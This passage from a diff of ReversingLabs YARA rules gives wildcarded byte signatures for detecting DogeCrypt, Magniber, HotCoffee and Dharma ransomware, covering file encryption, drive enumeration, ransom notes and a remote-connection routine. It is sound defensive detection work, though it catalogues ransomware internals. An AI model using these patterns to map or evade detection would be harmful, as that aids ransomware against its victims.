+            43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF
+            57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33
+            C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
+            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA
+            ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB
+            80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56
+            1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ??
+            83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ??
+            ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15
+            ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08
+            C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ??
+            80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0
+            8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
+        }
+		$decrypt_DesucryptKeyContainer_DogeCrypt = {
+            68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 8D 55 ?? 83 7D ?? ?? 8B 5D ?? 8B 35 ?? ?? ?? ?? 0F 43 D3 A1 ?? ?? ?? ?? 8B
+            4D ?? 2B C6 89 75 ?? 3B C8 77 ?? 83 3D ?? ?? ?? ?? ?? 8D 3C 31 8D 04 09 89 3D ?? ??
+            ?? ?? 50 8B 45 ?? BE ?? ?? ?? ?? 0F 43 35 ?? ?? ?? ?? 52 8D 04 46 50 E8 ?? ?? ?? ??
+            83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 52 C6 45 ?? ?? FF 75 ?? 51 B9 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? ?? ??
+            8B C3 81 F9 ?? ?? ?? ?? 72 ?? 8B 5B ?? 83 C1 ?? 2B C3 83 C0 ?? 83 F8 ?? 0F 87 ?? ??
+            ?? ?? 51 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 0F 43
+            05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? 68 ?? ??
+            ?? ?? 56 FF D3 83 F8 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 8D 45 ?? 6A ??
+            50 C6 07 ?? FF 35 ?? ?? ?? ?? 57 56 FF D3 83 F8 ?? 75 ?? BA ?? ?? ?? ?? B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ??
+            ?? ?? 57 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? BA ?? ?? ?? ?? B9 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ??
+            ?? ?? EB ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ??
+            ?? ?? 8B E5 5D C3 E8 ?? ?? ?? ?? E8
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($decrypt_DesucryptKeyContainer_DogeCrypt) and ($find_files_DogeCrypt) and ( all of ($encrypt_files_DogeCrypt_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Magniber : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Magniber ransomware."
+		author = "ReversingLabs"
+		id = "07b6c938-aa25-5ff6-95d2-9e0f84c41b41"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Magniber.yara#L1-L114"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "05b516f9b466489ea3a30e2fe5eb08290e85ece7a63e29e8bbbeb81c87d0a6f1"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Magniber"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$remote_connection = {
+            E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55
+            ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
+            15 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 6A ?? 6A ?? 6A ?? 6A ??
+            8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 6A
+            ?? 8D 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 83 7D ?? ??
+            74 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ??
+            ?? 8B 55 ?? 83 C2 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D
+            ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 EB ??
+            C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ??
+            ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15
+        }
+		$encrypt_files_1 = {
+            55 8B EC 83 EC ?? 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ??
+            ?? ?? ?? 89 45 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 03 55 ?? 8D 44 12
+            ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? EB
+            ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 7D ?? 8B 45 ?? 8B 4D ?? 8B 55 ?? 8B
+            75 ?? 66 8B 14 56 66 89 14 41 EB ?? B8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 66 89 04 4A C7
+            45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 7D ?? 8B 55 ??
+            03 55 ?? 8B 45 ?? 8B 4D ?? 8B 75 ?? 66 8B 0C 4E 66 89 4C 50 ?? EB ?? 8B 55 ?? 03 55
+            ?? 33 C0 8B 4D ?? 66 89 44 51 ?? 8D 55 ?? 52 8D 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 8B
+        }
+		$encrypt_files_2 = {
+            45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ??
+            ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83
+            7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0
+            75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84
+            ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45
+            ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 6A ?? 8D 4D ?? 51 6A ??
+            8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 99 8B 4D ??
+            2B 4D ?? 8B 75 ?? 1B 75 ?? 89 45 ?? 89 55 ?? 89 4D ?? 89 75 ?? 8B 55 ?? 3B 55 ?? 7C
+            ?? 7F ?? 8B 45 ?? 3B 45 ?? 76 ?? 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 ?? 89 4D ?? 89 55
+            ?? EB ?? 8B 45 ?? 99 89 45 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B
+        }
+		$encrypt_files_3 = {
+            45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 83 7D ??
+            ?? 75 ?? E9 ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 73 ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 89 55
+            ?? 8B 45 ?? 50 8D 4D ?? 51 6A ?? 6A ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ??
+            ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51
+            6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45
+            ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? EB ??
+            E9 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ??
+            74 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ??
+            83 7D ?? ?? 74 ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 7C ?? 7F ?? 8B 4D ?? 3B 4D ??
+            76 ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ??
+            8B 4D ?? 51 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ??
+            83 C4 ?? B8 ?? ?? ?? ?? EB
+        }
+		$search_files = {
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 83 7D ?? ?? 7D ?? 8B 4D ?? 8B 94
+            8D ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 33 C0 E9 ?? ?? ??
+            ?? EB ?? 8B 4D ?? 8B 55 ?? 8B 81 ?? ?? ?? ?? 3B 82 ?? ?? ?? ?? 76 ?? B8 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? B8 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ??
+            83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50
+            FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 FF 15 ?? ?? ?? ??
+            85 C0 75 ?? EB ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 83 C1
+            ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 74 ?? 8B 4D ?? 81 79 ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ??
+            ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 4D ??
+            81 79 ?? ?? ?? ?? ?? 75 ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ??
+            ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 03 45 ?? 89
+            45 ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B 55 ??
+            81 C2 ?? ?? ?? ?? 52 8B 45 ?? 05 ?? ?? ?? ?? 50 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B 55
+            ?? 81 C2 ?? ?? ?? ?? 52 8B 45 ?? 05 ?? ?? ?? ?? 50 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B
+            55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($search_files and ( all of ($encrypt_files_*)) and $remote_connection)
+}
+rule REVERSINGLABS_Win64_Ransomware_Hotcoffee : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects HotCoffee ransomware."
+		author = "ReversingLabs"
+		id = "11b26b91-96ae-58d3-8a8a-02a3e7d0b82e"
+		date = "2021-11-25"
+		modified = "2021-11-25"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.HotCoffee.yara#L1-L111"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "15ae428c37fcc5a09d324fd9be5a8df3a812e6459cb1ce8eec56eabf785b4c05"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "HotCoffee"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 48 0F 44 C6 BA ?? ?? ?? ?? 48 2B D0
+            48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 03 C2 4C 8D 0D ?? ?? ??
+            ?? 4C 2B C9 0F 1F 44 00 ?? 48 85 C0 74 ?? 45 0F B7 04 09 66 45 85 C0 74 ?? 66 44 89
+            01 48 83 C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 66 89 30
+            48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 95 ?? ?? ?? ?? 48 8D 44 24 ??
+            48 89 44 24 ?? 41 B8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? BA ??
+            ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B 4C 24 ?? 48 3B
+            C8 74 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 66 39 30 74 ?? 48 83
+            C0 ?? 48 83 E9 ?? 75 ?? 48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 48 0F 44 C6
+            BA ?? ?? ?? ?? 48 2B D0 48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48
+            03 C2 4C 8D 0D ?? ?? ?? ?? 4C 2B C9 48 85 C0 74 ?? 45 0F B7 04 09 66 45 85 C0 74 ??
+            66 44 89 01 48 83 C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1
+            66 89 30 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 89
+            44 24 ?? 48 83 F8 ?? 75 ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 8D
+            ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48
+            83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
+        }
+		$encrypt_files_p1 = {
+            B9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 90 66 83 38 ?? 74 ?? 48 83 C0 ?? 48 83 E9 ?? 75
+            ?? 48 85 C9 74 ?? 41 B8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 4C 2B C1 BA ?? ?? ?? ?? 48
+            85 C9 4C 0F 44 C3 4A 8D 04 40 49 2B D0 74 ?? 49 8D 88 ?? ?? ?? ?? 48 03 CA 4C 8D 0D
+            ?? ?? ?? ?? 4C 2B C8 66 90 48 85 C9 74 ?? 45 0F B7 04 01 66 45 85 C0 74 ?? 66 44 89
+            00 48 FF C9 48 83 C0 ?? 48 83 EA ?? 75 ?? 48 85 D2 48 8D 48 ?? 48 0F 45 C8 66 89 19
+            48 89 5C 24 ?? 45 33 C9 C7 44 24 ?? ?? ?? ?? ?? 44 8B C7 8B D7 C7 44 24 ?? ?? ?? ??
+            ?? 49 8B CC FF 15 ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D
+            8D ?? ?? ?? ?? 44 8B C7 C7 44 24 ?? ?? ?? ?? ?? 48 8B F0 41 8D 51 ?? FF 15 ?? ?? ??
+            ?? 41 B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 33 D2 48 8D 0D ??
+            ?? ?? ?? 4C 8B F0 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 41 B9 ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45
+        }
+		$encrypt_files_p2 = {
+            33 C0 BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B
+            15 ?? ?? ?? ?? 45 33 C9 48 8B 8D ?? ?? ?? ?? 44 8B C0 FF 15 ?? ?? ?? ?? 4C 8B 85 ??
+            ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 44 8B CF BA ?? ?? ?? ?? 48 89 44
+            24 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 32 DB 41 BD ?? ?? ?? ?? 48
+            8B F8 66 66 66 0F 1F 84 00 ?? ?? 00 00 4C 8D 8D ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ??
+            ?? 41 B8 ?? ?? ?? ?? 48 8B D7 48 8B CE FF 15 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ??
+            ?? 48 8D 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ??
+            0F B6 DB 41 0F 42 DD 48 89 7C 24 ?? 44 0F B6 C3 45 33 C9 33 D2 FF 15 ?? ?? ?? ?? 44
+            8B 85 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 8B D7 48 C7 44 24 ?? ?? ?? ?? ?? 49 8B CE
+            FF 15 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 4C 8B 6C 24 ?? 48 85 F6 74 ?? 48 8B CE FF
+            15 ?? ?? ?? ?? 4D 85 F6
+        }
+		$drop_ransom_note = {
+            48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 49 0F 44 C6 BA ?? ?? ?? ?? 48 2B D0
+            48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 03 C2 4C 8D 0D ?? ?? ??
+            ?? 4C 2B C9 66 90 48 85 C0 74 ?? 46 0F B7 04 09 66 45 85 C0 74 ?? 66 44 89 01 48 83
+            C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 66 44 89 30 4C 89
+            74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ??
+            ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 49 C7 C0 ?? ?? ?? ?? 49 FF C0
+            46 38 34 06 75 ?? 4C 89 74 24 ?? 4C 8D 8D ?? ?? ?? ?? 48 8B D6 48 8B CB FF 15 ?? ??
+            ?? ?? 48 85 DB 74 ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE E8 ?? ?? ?? ?? 90 48 8B 95
+            ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72
+            ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 33 F6 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 40 88 75 ?? 48
+            8B 95 ?? ?? ?? ?? 48 83 FA ?? 0F 82 ?? ?? ?? ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 8D ??
+            ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 48 83 C2 ?? 48 8B 49 ?? 48
+            2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 86 ?? ?? ?? ?? FF 15
+        }
+		$enum_drives = {
+            48 89 5D ?? 48 C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 8B F8 0F A3 DF 0F
+            83 ?? ?? ?? ?? 8D 4B ?? 48 C7 45 ?? ?? ?? ?? ?? 88 4D ?? 48 C7 45 ?? ?? ?? ?? ?? 66
+            C7 45 ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 3B 05 ?? ?? ?? ?? 74 ?? 48 8D 55 ?? 48 8B C8
+            E8 ?? ?? ?? ?? 48 83 05 ?? ?? ?? ?? ?? EB ?? 4C 8D 45 ?? 48 8B D0 48 8D 0D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 90 48 8B 45 ?? 48 83 F8 ?? 72 ?? 48 8D 50 ?? 48 8B 4D ?? 48 8B C1
+            48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ??
+            77 ?? E8 ?? ?? ?? ?? FF C3 83 FB ?? 0F 8C ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
+            E8 ?? ?? ?? ?? 90 33 C0 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 5C 24 ?? 49 8B 5B
+            ?? 49 8B 7B ?? 49 8B E3 5D C3 FF 15
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($enum_drives) and ($find_files) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note)
+}
+rule REVERSINGLABS_Win32_Ransomware_Dharma : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Dharma ransomware."
+		author = "ReversingLabs"
+		id = "8157b20b-717c-581f-83c1-5fc8d2312238"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
